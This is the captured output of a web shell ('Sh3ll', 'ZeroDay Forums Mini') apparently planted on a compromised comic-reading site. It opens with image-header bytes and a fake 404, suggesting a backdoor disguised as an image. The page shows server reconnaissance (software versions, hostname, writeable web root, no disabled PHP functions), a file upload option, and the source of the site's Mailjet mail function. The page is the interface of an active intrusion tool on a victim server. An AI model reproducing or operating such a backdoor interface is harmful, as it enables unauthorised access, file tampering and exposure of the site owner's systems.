ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/include/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/truyentranh/include/functions/mail_function.php
<?php
use \Mailjet\Resources;
include ROOT_PATH.'vendor/autoload.php';
function send_mail($fromname,$subject,$sub_subject='',$body,$arr_to){
    global $INFO,$arr_option;
    $apikey = $arr_option['api_key_mail'];
    $apisecret = $arr_option['api_secretkey_mail'];
    $mj = new \Mailjet\Client($apikey, $apisecret);
    $body = [
        'FromEmail' => $arr_option['send_mail_from_email'],
        'FromName' => $fromname,
        'Subject' => $subject,
        'Text-part' => $sub_subject,
        'Html-part' => $body,
        'Recipients' => $arr_to
    ];
    $response = $mj->post(Resources::$Email, ['body' => $body]);
    // Read the response
    if($response->success()){
        return true;
    }else{
        echo 'email send error:<br/>';
        var_dump($response->getReasonPhrase());
        echo 'respone status:<br/>';
        var_dump($response->getStatus());
        exit();
    }
}

ZeroDay Forums Mini